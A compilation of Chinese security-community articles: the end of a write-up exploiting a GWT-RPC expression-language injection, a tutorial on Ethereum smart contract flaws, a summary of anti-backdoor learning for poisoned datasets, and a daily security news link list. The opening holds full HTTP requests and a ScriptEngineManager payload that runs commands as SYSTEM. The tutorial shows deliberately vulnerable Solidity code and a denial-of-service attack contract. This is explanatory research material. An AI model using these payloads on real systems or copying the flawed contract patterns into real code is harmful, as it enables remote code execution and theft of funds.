[[]，0,6]，我们就可以知道GWT注入是成功的。然后，通过第二个请求触发存储在会话字符串中的表达式语言注入漏洞。但是，在发送这个请求之前，由于我们需要使用复合类型的setMibNodesInfo函数，因此我们需要查找定义允许发送的可用类型的策略文件。在[strong
name] .gwt.rpc文件中，我找到了ArrayList的类型值：java.util.ArrayList / 382197682。
现在我们可以在请求中使用该类型了：
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
相应的响应如下所示：
HTTP/1.1 302 Found
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=[cookie]; Path=/; Secure; HttpOnly
Set-Cookie: oam.Flash.RENDERMAP.TOKEN=-g9lc30a8l; Path=/; Secure
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Pragma: no-cache
Location: http://srcincite.io/
Content-Type: text/html;charset=UTF-8
Content-Length: 45
Date: Wed, 03 May 2017 18:58:36 GMT
Connection: close
//OK[0,1,["java.lang.Boolean/476441737"],0,6]
当然，对所有的漏洞检测来说，重定向是非常不错的，但我们真正想要的却是shell。阅读Minded
Securities的文章后，发现可以使用ScriptEngineManager的JavaScript引擎动态执行Java代码。当然，他们的代码有点长，这里给出我自己的精简版本。
"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/c\",\"calc.exe\"]).start();")
使用该代码更新MibWidgetBeanName会话属性，并重新触发setMibNodesInfo函数，以SYSTEM身份执行命令：
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=[cookie]
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 366
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|sendBeanName|java.lang.String|"".getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("JavaScript").eval("var proc=new java.lang.ProcessBuilder[\"(java.lang.String[])\"]([\"cmd.exe\",\"/c\",\"calc.exe\"]).start();")|1|2|3|4|1|5|6|
触发表达式语言注入漏洞…
POST /someService.gwtsvc HTTP/1.1
Host: [target]
Accept: */*
X-GWT-Module-Base:
X-GWT-Permutation:
Cookie: JSESSIONID=FB531EBCCE6231E7F0F9605C7661F036
Content-Type: text/x-gwt-rpc; charset=UTF-8
Content-Length: 171
6|0|6||45D7850B2B5DB917E4D184D52329B5D9|com.aaa.bbb.ccc.ddd.client.SomeService|setMibNodesInfo|java.util.List|java.util.ArrayList/3821976829|1|2|3|4|1|5|6|0|
**小结**
从黑盒测试的角度来看，几乎没有办法可以发现这个漏洞。常见的工具，如Burp
Suite，目前还无法检测到这种漏洞，特别是考虑到字符串存储在会话属性中的特殊情况。
随着网络技术的进步，我们对自动化的需求正在日益增加，但是在这方面的工具、技能和知识还相对缺乏，因此，许多相关的应用程序的关键代码执行漏洞还会存在一段时间。 | 社区文章 |
# 以太坊智能合约安全入门了解一下（下）
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
##
**Author: RickGray([@0KEETeam](https://github.com/0KEETeam "@0KEETeam"))**
**（注：本文分上/下两部分完成，上篇链接[《以太坊智能合约安全入门了解一下（上）》](https://www.anquanke.com/post/id/145458)）**
接上篇
## II. 漏洞现场还原
### 3\. Arithmetic Issues
算数问题？通常来说，在编程语言里算数问题导致的漏洞最多的就是整数溢出了，整数溢出又分为上溢和下溢。整数溢出的原理其实很简单，这里以 8 位无符整型为例，8
位整型可表示的范围为 `[0, 255]`，`255` 在内存中存储按位存储的形式为（下图左）：
8 位无符整数 255 在内存中占据了 8bit 位置，若再加上 1 整体会因为进位而导致整体翻转为 0，最后导致原有的 8bit 表示的整数变为 0.
如果是 8 位有符整型，其可表示的范围为 `[-128, 127]`，`127` 在内存中存储按位存储的形式为（下图左）：
在这里因为高位作为了符号位，当 `127` 加上 1 时，由于进位符号位变为 `1`（负数），因为符号位已翻转为 `1`，通过还原此负数值，最终得到的 8
位有符整数为 `-128`。
上面两个都是整数上溢的图例，同样整数下溢 `(uint8)0-1=(uint8)255`, `(int8)(-128)-1=(int8)127`。
在 `withdraw(uint)` 函数中首先通过 `require(balances[msg.sender] - _amount > 0)`
来确保账户有足够的余额可以提取，随后通过 `msg.sender.transfer(_amount)` 来提取
Ether，最后更新用户余额信息。这段代码若是一个没有任何安全编码经验的人来审计，代码的逻辑处理流程似乎看不出什么问题，但是如果是编码经验丰富或者说是安全研究人员来看，这里就明显存在整数溢出绕过检查的漏洞。
在 Solidity 中 `uint` 默认为 256 位无符整型，可表示范围 `[0,
2**256-1]`，在上面的示例代码中通过做差的方式来判断余额，如果传入的 `_amount` 大于账户余额，则
`balances[msg.sender] - _amount` 会由于整数下溢而大于 0 绕过了条件判断，最终提取大于用户余额的
Ether，且更新后的余额可能会是一个极其大的数。
pragma solidity ^0.4.10;
contract MyToken {
mapping (address => uint) balances;
function balanceOf(address _user) returns (uint) { return balances[_user]; }
function deposit() payable { balances[msg.sender] += msg.value; }
function withdraw(uint _amount) {
require(balances[msg.sender] - _amount > 0); // 存在整数溢出
msg.sender.transfer(_amount);
balances[msg.sender] -= _amount;
}
}
简单的利用过程演示：
为了避免上面代码造成的整数溢出，可以将条件判断改为 `require(balances[msg.sender] >
_amount)`，这样就不会执行算术操作进行进行逻辑判断，一定程度上避免了整数溢出的发生。
Solidity 除了简单的算术操作会出现整数溢出外，还有一些需要注意的编码细节，稍不注意就可能形成整数溢出导致无法执行正常代码流程：
1. 数组 `length` 为 256 位无符整型，仔细对 `array.length++` 或者 `array.length--` 操作进行溢出校验；
2. 常见的循环变量 `for (var i = 0; i < items.length; i++) ...` 中，`i` 为 8 位无符整型，当 `items` 长度大于 256 时，可能造成 `i` 值溢出无法遍历完全；
关于合约整数溢出的漏洞并不少见，可以看看最近曝光的几起整数溢出事件：[《代币变泡沫，以太坊Hexagon溢出漏洞比狗庄还过分》](https://www.anquanke.com/post/id/145520)，[《Solidity合约中的整数安全问题——SMT/BEC合约整数溢出解析》](https://www.anquanke.com/post/id/106382)
**为了防止整数溢出的发生，一方面可以在算术逻辑前后进行验证，另一方面可以直接使用 OpenZeppelin
维护的一套智能合约函数库中的[SafeMath](https://github.com/OpenZeppelin/openzeppelin-solidity/blob/master/contracts/math/SafeMath.sol) 来处理算术逻辑。**
### 4\. Unchecked Return Values For Low Level Calls
未严格判断不安全函数调用返回值，这类型的漏洞其实很好理解，在前面讲 Reentrancy
实例的时候其实也涉及到了底层调用返回值处理验证的问题。上篇已经总结过几个底层调用函数的返回值和异常处理情况，这里再回顾一下 3 个底层调用
`call()`, `delegatecall()`, `callcode()` 和 3 个转币函数 `call.value()()`, `send()`,
`transfer()`：
**– call()**
`call()` 用于 Solidity 进行外部调用，例如调用外部合约函数
`<address>.call(bytes4(keccak("somefunc(params)"), params))`，外部调用 `call()`
返回一个 bool 值来表明外部调用成功与否：
**– delegatecall()**
除了 `delegatecall()` 会将外部代码作直接作用于合约上下文以外，其他与 `call()` 一致，同样也是只能获取一个 bool
值来表示调用成功或者失败（发生异常）。
**– callcode()**
`callcode()` 其实是 `delegatecall()` 之前的一个版本，两者都是将外部代码加载到当前上下文中进行执行，但是在
`msg.sender` 和 `msg.value` 的指向上却有差异。
例如 Alice 通过 `callcode()` 调用了 Bob 合约里同时 `delegatecall()` 了 Wendy
合约中的函数，这么说可能有点抽象，看下面的代码：
如果还是不明白 `callcode()` 与 `delegatecall()` 的区别，可以将上述代码在 remix-ide 里测试一下，观察两种调用方式在
`msg.sender` 和 `msg.value` 上的差异。
**– call.value()()**
在合约中直接发起 TX 的函数之一（相当危险），
**– send()**
通过 `send()` 函数发送 Ether 失败时直接返回 false；这里需要注意的一点就是，`send()` 的目标如果是合约账户，则会尝试调用它的
fallbcak() 函数，fallback() 函数中执行失败，`send()` 同样也只会返回 false。但由于只会提供 2300 Gas 给
fallback() 函数，所以可以防重入漏洞（恶意递归调用）。
**– transfer()**
`transfer()` 也可以发起 Ether 交易，但与 `send()` 不同的时，`transfer()`
是一个较为安全的转币操作，当发送失败时会自动回滚状态，该函数调用没有返回值。同样的，如果 `transfer()` 的目标是合约账户，也会调用合约的
fallback() 函数，并且只会传递 2300 Gas 用于 fallback() 函数执行，可以防止重入漏洞（恶意递归调用）。
这里以一个简单的示例来说明严格验证底层调用返回值的重要性：
function withdraw(uint256 _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
etherLeft -= _amount;
msg.sender.send(_amount); // 未验证 send() 返回值，若 msg.sender 为合约账户 fallback() 调用失败，则 send() 返回 false
}
上面给出的提币流程中使用 `send()` 函数进行转账，因为这里没有验证 `send()` 返回值，如果 msg.sender 为合约账户
fallback() 调用失败，则 send() 返回 false，最终导致账户余额减少了，钱却没有拿到。
关于该类问题可以详细了解一下 [King of the
Ether](https://www.kingoftheether.com/postmortem.html)。
### 5\. Denial of Service – 拒绝服务
DoS 无处不在，在 Solidity 里也是，与其说是拒绝服务漏洞不如简单的说成是
“不可恢复的恶意操作或者可控制的无限资源消耗”。简单的说就是对以太坊合约进行 DoS 攻击，可能导致 Ether 和 Gas
的大量消耗，更严重的是让原本的合约代码逻辑无法正常运行。
下面一个例子（代码改自 DASP 中例子）：
pragma solidity ^0.4.10;
contract PresidentOfCountry {
address public president;
uint256 price;
function PresidentOfCountry(uint256 _price) {
require(_price > 0);
price = _price;
president = msg.sender;
}
function becomePresident() payable {
require(msg.value >= price); // must pay the price to become president
president.transfer(price); // we pay the previous president
president = msg.sender; // we crown the new president
price = price * 2; // we double the price to become president
}
}
一个简单的类似于 KingOfEther 的合约，按合约的正常逻辑任何出价高于合约当前 `price` 的都能成为新的
president，原有合约里的存款会返还给上一人 president，并且这里也使用了 `transfer()` 来进行 Ether
转账，看似没有问题的逻辑，但不要忘了，以太坊中有两类账户类型，如果发起 `becomePresident()` 调用的是个合约账户，并且成功获取了
president，如果其 fallback() 函数恶意进行了类似 `revert()` 这样主动跑出错误的操作，那么其他账户也就无法再正常进行
becomePresident 逻辑成为 president 了。
简单的攻击代码如下：
contract Attack {
function () { revert(); }
function Attack(address _target) payable {
_target.call.value(msg.value)(bytes4(keccak256("becomePresident()")));
}
}
使用 remix-ide 模拟攻击流程：
### 6\. Bad Randomness – 可预测的随机处理
伪随机问题一直都存在于现代计算机系统中，但是在开放的区块链中，像在以太坊智能合约中编写的基于随机数的处理逻辑感觉就有点不切实际了，由于人人都能访问链上数据，合约中的存储数据都能在链上查询分析得到。如果合约代码没有严格考虑到链上数据公开的问题去使用随机数，可能会被攻击者恶意利用来进行
“作弊”。
摘自 DASP 的代码块：
uint256 private seed;
function play() public payable {
require(msg.value >= 1 ether);
iteration++;
uint randomNumber = uint(keccak256(seed + iteration));
if (randomNumber % 2 == 0) {
msg.sender.transfer(this.balance);
}
}
这里 `seed` 变量被标记为了私有变量，前面有说过链上的数据都是公开的，`seed` 的值可以通过扫描与该合约相关的 TX 来获得。获取 `seed`
值后，同样的 `iteration` 值也是可以得到的，那么整个 `uint(keccak256(seed + iteration))`
的值就是可预测的了。
就 DASP 里面提到的，还有一些合约喜欢用 `block.blockhash(uint blockNumber) returns (bytes32)`
来获取一个随机哈希，但是这里切记不能使用 `block.number` 也就是当前块号来作为 `blockNumber` 的值，因为在官方文档中明确写了：
block.blockhash(uint blockNumber) returns (bytes32): hash of the given block –
only works for 256 most recent blocks excluding current
意思是说 `block.blockhash()` 只能使用近 256 个块的块号来获取 Hash 值，并且还强调了不包含当前块，如果使用当前块进行计算
`block.blockhash(block.numbber)` 其结果始终为 `0x0000000.....`：
同样的也不能使用 `block.timestamp`, `now` 这些可以由矿工控制的值来获取随机数。
一切链上的数据都是公开的，想要获取一个靠谱的随机数，使用链上的数据看来是比较难做到的了，这里有一个独立的项目
[Oraclize](https://github.com/oraclize/ethereum-api) 被设计来让 Smart Contract
与互联网进行交互，有兴趣的同学可以深入了解一下。（附上基于 Oraclize 的随机数获取方法
[randomExample](https://github.com/oraclize/ethereum-examples/blob/master/solidity/random-datasource/randomExample.sol)）
### 7\. Front Running – 提前交易
“提前交易”，其实在学习以太坊智能合约漏洞之前，我还并不知道这类漏洞类型或者说是攻击手法（毕竟我对金融一窍不通）。简单来说，“提前交易”就是某人提前获取到交易者的具体交易信息（或者相关信息），抢在交易者完成操作之前，通过一系列手段（通常是提高报价）来抢在交易者前面完成交易。
在以太坊中所有的 TX 都需要经过确认才能完全记录到链上，而每一笔 TX 都需要带有相关手续费，而手续费的多少也决定了该笔 TX
被矿工确认的优先级，手续费高的 TX 会被优先得到确认，而每一笔待确认的 TX
在广播到网络之后就可以查看具体的交易详情，一些涉及到合约调用的详细方法和参数可以被直接获取到。那么这里显然就有 Front-Running
的隐患存在了，示例代码就不举了，直接上图（形象一点）：
在 [etherscan.io](https://etherscan.io/txsPending) 就能看到还未被确认的 TX，并且能给查看相关数据：
**（当然了，为了防止信息明文存储在 TX 中，可以对数据进行加密和签名）**
### 8\. Time Manipulation
“时间篡改”（DASP 给的名字真抽象 XD），说白了一切与时间相关的漏洞都可以归为 “Time Manipulation”。在 Solidity
中，`block.timestamp` （别名 `now`）是受到矿工确认控制的，也就是说一些合约依赖于 `block.timestamp`
是有被攻击利用的风险的，当攻击者有机会作为矿工对 TX 进行确认时，由于 `block.timestamp`
可以控制，一些依赖于此的合约代码即预知结果，攻击者可以选择一个合适的值来到达目的。（当然了 `block.timestamp`
的值通常有一定的取值范围，出块间隔有规定 XD）
该类型我还没有找到一个比较好的例子，所以这里就不给代码演示了。:)
### 9\. Short Address Attack – 短地址攻击
在我着手测试和复现合约漏洞类型时，短地址攻击我始终没有在 remix-ide
上测试成功（道理我都懂，咋就不成功呢？）。虽然漏洞没有复现，但是漏洞原理我还是看明白了，下面就详细地说明一下短地址攻击的漏洞原理吧。
首先我们以外部调用 `call()` 为例，外部调用中 `msg.data` 的情况：
在 remix-ide 中部署此合约并调用 `callFunc()` 时，可以得到日志输出的 `msg.data` 值：
0x4142c000000000000000000000000000000000000000000000000000000000000000001e
其中 `0x4142c000` 为外部调用的函数名签名头 4
个字节（`bytes4(keccak256("foo(uint32,bool)"))`），而后面 32 字节即为传递的参数值，`msg.data` 一共为
4 字节函数签名加上 32 字节参数值，总共 `4+32` 字节。
看如下合约代码：
pragma solidity ^0.4.10;
contract ICoin {
address owner;
mapping (address => uint256) public balances;
modifier OwnerOnly() { require(msg.sender == owner); _; }
function ICoin() { owner = msg.sender; }
function approve(address _to, uint256 _amount) OwnerOnly { balances[_to] += _amount; }
function transfer(address _to, uint256 _amount) {
require(balances[msg.sender] > _amount);
balances[msg.sender] -= _amount;
balances[_to] += _amount;
}
}
具体代币功能的合约 ICoin，当 A 账户向 B 账户转代币时调用 `transfer()` 函数，例如 A
账户（0x14723a09acff6d2a60dcdf7aa4aff308fddc160c）向 B
账户（0x4b0897b0513fdc7c541b6d9d7e929c4e5364d2db）转 8 个 ICoin，`msg.data` 数据为：
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2db -> B 账户地址（前补 0 补齐 32 字节）
0000000000000000000000000000000000000000000000000000000000000008 -> 0x8（前补 0 补齐 32 字节）
那么短地址攻击是怎么做的呢，攻击者找到一个末尾是 `00` 账户地址，假设为
`0x4b0897b0513fdc7c541b6d9d7e929c4e5364d200`，那么正常情况下整个调用的 `msg.data` 应该为：
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200 -> B 账户地址（注意末尾 00）
0000000000000000000000000000000000000000000000000000000000000008 -> 0x8（前补 0 补齐 32 字节）
但是如果我们将 B 地址的 `00` 吃掉，不进行传递，也就是说我们少传递 1 个字节变成 `4+31+32`：
0xa9059cbb -> bytes4(keccak256("transfer(address,uint256)")) 函数签名
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d2 -> B 地址（31 字节）
0000000000000000000000000000000000000000000000000000000000000008 -> 0x8（前补 0 补齐 32 字节）
当上面数据进入 EVM 进行处理时，会犹豫参数对齐的问题后补 `00` 变为：
0xa9059cbb
0000000000000000000000004b0897b0513fdc7c541b6d9d7e929c4e5364d200
0000000000000000000000000000000000000000000000000000000000000800
也就是说，恶意构造的 `msg.data` 通过 EVM 解析补 0 操作，导致原本 `0x8 = 8` 变为了 `0x800 = 2048`。
上述 EVM 对畸形字节的 `msg.data` 进行补位操作的行为其实就是短地址攻击的原理（但这里我真的没有复现成功，希望有成功的同学联系我一起交流）。
短地址攻击通常发生在接受畸形地址的地方，如交易所提币、钱包转账，所以除了在编写合约的时候需要严格验证输入数据的正确性，而且在 Off-Chain
的业务功能上也要对用户所输入的地址格式进行验证，防止短地址攻击的发生。
同时，老外有一篇介绍 [Analyzing the ERC20 Short Address
Attack](https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/)
原理的文章我觉得非常值得学习。
### – Unknown Unknowns – 其他未知，:) 未知漏洞，没啥好讲的，为了跟 DASP 保持一致而已
## III. 自我思考
前后花了 2 周多的时间去看以太坊智能合约相关知识以及本文（上/下）的完成，久违的从 0 到 1
的感觉又回来了。多的不说了，我应该也算是以太坊智能合约安全入门了吧，近期出的一些合约漏洞事件也在跟，分析和复现也是完全 OK
的，漏洞研究原理不变，变得只是方向而已。期待同更多的区块链安全研究者交流和学习。
### 1\. 以太坊中合约账户的私钥在哪？可以不通过合约账户代码直接操作合约账户中的 Ether 吗？
StackExchange 上有相关问题的回答 [“Where is the private key for a contract
stored?”](https://ethereum.stackexchange.com/questions/185/where-is-the-private-key-for-a-contract-stored)，但是我最终也没有看到比较官方的答案。但可以知道的就是，合约账户是由部署时的合约代码控制的， **不确定是否有私钥可以直接控制合约进行
Ether 相关操作** （讲道理应该是不行的）。
### 2\. 使用 keccak256() 进行函数签名时的坑？- 参数默认位数标注
在使用 keccak256 对带参函数进行签名时，需要注意要严格制定参数类型的位数，如：
function somefunc(uint n) { ... }
对上面函数进行签名时，定义时参数类型为 `uint`，而 `uint` 默认为 256 位，也就是 `uint256`，所以在签名时应该为
`keccak256("somefunc(uint256)")`，千万不能写成 `keccak256("somefunc(uint)")`。
## 参考链接
* <http://solidity.readthedocs.io/en/v0.4.21/units-and-global-variables.html#special-variables-and-functions>
* <https://github.com/oraclize/ethereum-api>
* <https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/>
## 关于我们
0Kee
Team隶属于360信息安全部，360信息安全部致力于保护内部安全和业务安全，抵御外部恶意网络攻击，并逐步形成了一套自己的安全防御体系，积累了丰富的安全运营和对突发安全事件应急处理经验，建立起了完善的安全应急响应系统，对安全威胁做到早发现，早解决，为安全保驾护航。技术能力处于业内领先水平，培养出了较多明星安全团队及研究员，研究成果多次受国内外厂商官方致谢，如微软、谷歌、苹果等，多次受邀参加国内外安全大会议题演讲。目前主要研究方向有区块链安全、WEB安全、移动安全（Android、iOS）、网络安全、云安全、IOT安全等多个方向，基本覆盖互联网安全主要领域。 | 社区文章 |
# 反后门攻击
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
本文的标题是反后门攻击，在进一步读下去之前，我们自然要先知道什么是后门学习。
后门攻击，一般指通过毒化训练集的方式在由该数据集训练出的模型上植入后门，关于后门攻击的文章，在安全客上也有很多了，大家可以去了解详情。
本文要介绍的反后门攻击，其面临的场景和后门学习是一样的—攻击者给了毒化数据集，但是却希望能够在这个数据集上训练得到一个没有后门的模型，因为是在毒化数据上训练出干净模型，所以我们将其称之为反后门攻击。这个工作来自于AI顶会NeurIPS
2021。
这个技术的提出是有一定意义的。我们可以把深度学习中的后门攻击类比于软件安全中的供应链攻击，毒化数据相当于被黑客攻破的编译器等上游资源，反后门学习的作用就是在毒化数据上训练得到正常模型，其意义完全可以类比于在被植入后门的Xcode上编译出无后门的App。
## 反后门学习
接着我们来形式化这个方案。
我们现在面对的场景是这样子的：攻击者已经生成了毒化样本，并对训练集进行投毒，而作为用户，我们拿到的是毒化后的数据集，我们的目标是在这个毒化数据集基础上训练处不带有后门的模型。
我们假设一个标准的分类任务的数据集为：
其中Dc表示原数据，也可以说是感觉数据，Db表示毒化数据。那么训练一个DNN模型就是通过最小化下面的经验误差就可以了：
其中，l表示损失函数，比如常用的交叉熵损失。
从上面的公式中我们可以看到，整体的学习流程被分为了两部分，第一个是clean task，即在干净数据Dc上训练模型，第二个是backdoor
task，即在毒化数据Db上训练模型。由于毒化样本通常与某个特定的目标类相关联，所以所有来自Db的数据可能都有着相同的标签。上面这个公式的分解非常清晰地表明了这种学习方式会同时学到两个任务，从而导致训练出的模型被嵌入后门。
为了防止模型学习到后门样本，我们可以最小化下面的经验误差来进行学习：
注意，上式中我们实际上是最大化了后门任务的训练。
这种方法虽然看起来很直观，但是我们作为用户实际上并不知道哪些数据来自Db。当然，我们可以先检测出Db，然后将它从训练集中分类出来即可。那么该怎么检测呢？
很明显，模型是通过数据训练出来的，那么用毒化数据训练出来的模型和干净数据训练出的模型的表现是不同的，甚至这种差异在模型训练期间应该就可以观察到。事实上也的确如此，研究人员应用多种后门攻击方案进行学习，得到了在干净数据和毒化数据上的损失情况，如下所示
从图中可以看到，在这9种典型的后门攻击中，毒化样本上的训练损失在前几个epoch下降得要比干净样本快得多。
这一现象说明，训练后门任务比训练正常任务要容易得多，这背后的原因其实不难解释，因为后门攻击就是在触发器和目标标签之间增强了相关性，所以才能简化和加速触发器的注入。所以为了使得后门攻击成功，模型就要更容易学习带有触发器的毒化样本才行。
既然观察到了这个现象，我们就知道接下来该怎么做了。
首先假设训练epoch的总数为T，我们可以将整个训练过程分为两个阶段，即前期训练和后期训练。用Tte表示两个阶段的转折点，当平均训练损失开始稳定时我们选择此时的epoch作为Tte。然后我们在前期训练期间进行后门隔离，后期训练期间进行后门遗忘。这两个阶段的损失函数如下所示
### 后门隔离
在前期训练阶段，我们应用局部梯度上升技术，使用上面公式中的损失函数LLGA将每个样本的损失限制在特定的阈值γ附近。梯度上升之所以被称为局部是因为最大化是围绕固定损失γ
进行的。换句话说，如果训练样本的损失低于 γ，将应用梯度上升以将其损失增加到 γ；否则，损失保持不变。这样子可以可以让毒化样本摆脱 γ
约束，因为它们的损失值下降得更快。这里的关键是选择合适的γ，过大的 γ 会影响模型学习原任务，而过小的 γ 可能不足以将原任务与后门任务分开。
在前期训练结束时，我们实际上已经将样本分为了两部分：具有最低损失的p%的数据会被认为是Db，剩下的是Dc。
当然了，这种方法不可能把全部的后门样本都检测并隔离出来，所以我们还需要在后期训练阶段应用后门遗忘。
隔离出的部分后门样本，当γ = 0时如下所示
此时还有一部分误报
γ = 0.5时如下所示
此时基本上没有误报的
### 后门遗忘
在这一阶段，模型已经开始学到后门了，所以现在的问题就是怎么在学习Dc中的没被检测出的后门样本的同时是用欧冠已经检测出的后门样本Db训练模型让其遗忘后门。
实现这个目标是有可能的，因为后门攻击有个显著的特点就是：触发器通常与一个特定的目标类别相关。所以可以上面公式中的LGGA来解决。
我们在Db上定义了全局梯度下降，注意这里和之前提到的局部梯度下降不同，这里并没有限制在固定的损失值附近。
## 实验分析及复现
### 分析
为了证实反后门学习确实有效，这里选了10种典型的后门攻击进行实现，分别是：
BadNets ，Trojan attack , Blend attack, Dynamic attack, Sinusoidal signal
attack(SIG)，Clean-label attack(CL), Feature collision (FC) , Deep Feature
Space Trojan Attack (DFST), Latent Backdoor Attack (LBA) Composite Backdoor
Attack (CBA)
同时和其他三种防御方案进行对标，实验数据如下
表中的ASR表示攻击成功率，CA表示原任务的准确率。黑体的数据是同等情况下表现最好的，可以看到反对抗学习在多数情况的表现都是最优的。
另外，我们之前提到过，隔离率的不同会影响到模型训练后的具体效果，通过实验也同样可以说明这一点，如下所示
从图中可以看到，ASR的降低和CA之间是存在权衡的。比如一个较高的隔离率可以隔离更多的后门样本，更多的后门样本有助于后期的后门遗忘，所以可以更大幅度降低ASR，但是由于将更多的样本进行了遗忘，所以这也会导致CA的降低。
还有一点也需要研究，那就是转折点，即区分前期训练和后期训练的那个epoch，这个没有理论指导，只能通过实验去试，得到的数据如下
可以看到，当转折点选在第20个epoch时较好，越往后的话，该方案的表现越差。
该方案的第一步是要检测或者说隔离出后门样本，那么其他检测后门样本的方法是否可以替换到本方案基于LGA的部分呢？典型的检测样本的方案有AC和SSA，我们可以分别试试看。如下所示
可以看到，这两类方案的检出率都不如本方案的，更具体地说，在BadNets和Trojan上三类方案表现得差不多，但是在后四类就差得远了，这其实也不难解释，因为后四类使用了复杂的触发器（Blend、Dynamic、SIG
和 CL）覆盖整个图像的攻击会导致AC或SSA混淆，从而使这些检测方法无效。
### 复现
后门隔离-计算损失的代码
后门隔离-训练部分
后门遗忘关键代码
使用后门遗忘的效果如下所示
从图中可以看到，后门遗忘的效果就是原任务的acc基本保持不变的同事，后门任务的acc或者说攻击成功率却一直在下降，在图中是从99.99降到了0.48
## 总结
这个方案非常直观简洁，本质上是利用了后门攻击的两个特点：1.后门样本相比于原样本更容易被学习；2.带有触发器的后门样本与目标标签之间有很强的相关性。由此引出了所谓的反后门学习，其包括两个阶段，第一个阶段是在前期训练时使用局部梯度上升最大化两类样本之间的训练损失的差距，并以此为依据隔离毒化样本；第二个阶段就是使用全局梯度上升使用第一阶段的样本实现后门遗忘。
另外，由于方案的Insight实在是太凝练了，所以作者还花了大量篇幅做其他的实验辅助说明，把这个工作做得非常彻底，这也许能给要发论文的师傅们带来些启发。
## 参考
1.Anti-Backdoor Learning: Training Clean Models on Poisoned Data.
2.BadNets: Identifying Vulnerabilities in the Machine Learning Model Supply
Chain | 社区文章 |
# 12月20日安全热点 - Alteryx数据泄露/Wordpress插件后门
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 资讯类
Alteryx遭数据泄露，1.23亿家庭共35亿信息已经不再安全
<http://www.zdnet.com/article/alteryx-s3-leak-leaves-120m-american-households-exposed/>
安装量超过30万的Wordpress插件恐存在后门
<https://www.theregister.co.uk/2017/12/20/backdoor_wordpress_captcha/>
联网打印机存在风险，1000多台Lexmark打印机存在漏洞
<http://securityaffairs.co/wordpress/66909/iot/1000-lexmark-printers-vulnerable.html>
Chrome内置广告拦截功能将在2018年生效
<https://www.bleepingcomputer.com/news/google/chromes-built-in-ad-blocker-will-start-blocking-ads-on-february-15-2018/>
腾讯发现Tensorflow中的漏洞，可被利用攻击人工智能
<https://winbuzzer.com/2017/12/18/tencent-warns-google-tensorflow-users-vulnerability-ai-platform-xcxwbn/>
## 技术类
移动云计算下的网络攻击检测
<https://arxiv.org/pdf/1712.05914.pdf>
通过33C3 CTF学习浏览器利用
<https://bruce30262.github.io/2017/12/15/Learning-browser-exploitation-via-33C3-CTF-feuerfuchs-challenge/>
安卓Fingerprint API的使用
<http://www.s3.eurecom.fr/~yanick/publications/2018_ndss_fingerprint.pdf>
CVE-2017-5717：Intel Content Protection HECI Service Type Confusion EoP
<https://bugs.chromium.org/p/project-zero/issues/detail?id=1358>
机器学习速查文档
<https://ml-cheatsheet.readthedocs.io/en/latest/index.html>
memMITM：内存检查中的SSL中间人攻击PoC
<https://github.com/caseysmithrc/memMITM>
利用Python打造人工智能相机
<https://www.makeartwithpython.com/blog/poor-mans-deep-learning-camera/>
Merlin工具介绍：命令与控制工具
<https://medium.com/@Ne0nd0g/introducing-merlin-645da3c635a>
Internetexplorer.Application和命令与控制
<https://adapt-and-attack.com/2017/12/19/internetexplorer-application-for-c2/>
写一个自己的游戏引擎（C++）
<http://preshing.com/20171218/how-to-write-your-own-cpp-game-engine/>
揭秘密码黑市——你所不知道的地下交易
<https://krebsonsecurity.com/2017/12/the-market-for-stolen-account-credentials/>
Splashdata发布第七年度密码报告，最常用的100个密码，看看有没有你的
<https://motherboard.vice.com/en_us/article/paqd4m/too-many-people-are-still-using-password-as-a-password>
<https://13639-presscdn-0-80-pagely.netdna-ssl.com/wp-content/uploads/2017/12/Top-100-Worst-Passwords-of-2017a.pdf>
Kryptoslogic：Wannacry年度回顾
<https://blog.kryptoslogic.com/malware/2017/12/20/end-of-year.html?1>
Yeeight LED灯可能在监视你 Part 1
<https://medium.com/@slinafirinne/yeelight-the-bluetooth-led-bedside-lamp-from-xiaomi-that-spies-on-you-part-one-a651207c70bd>
CVE-2017-17405 NET::FTP 文件名命令注入
<https://hackerone.com/reports/294462>
Trend Micro Smart Protection Server出现多个漏洞
<https://www.coresecurity.com/advisories/trend-micro-smart-protection-server-multiple-vulnerabilities>
针对近期出现的针对数据库服务的攻击分析报告
<https://www.guardicore.com/2017/12/beware-the-hex-men/>
让生成ROP链就像喝水一样容易
<https://github.com/orppra/ropa>
Apache Groovy反序列化漏洞回顾
<https://www.zerodayinitiative.com/blog/2017/12/19/apache-groovy-deserialization-a-cunning-exploit-chain-to-bypass-a-patch>
Linkedin未读通知的滥用
<https://randomadversary.com/2017/12/19/Access-to-Linkedin-unread-notifications-count-without-username-and-password/>
EV证书安全与价值探讨
<https://scotthelme.co.uk/are-ev-certificates-worth-the-paper-theyre-written-on/>
从*.BAT到银行钓鱼页面
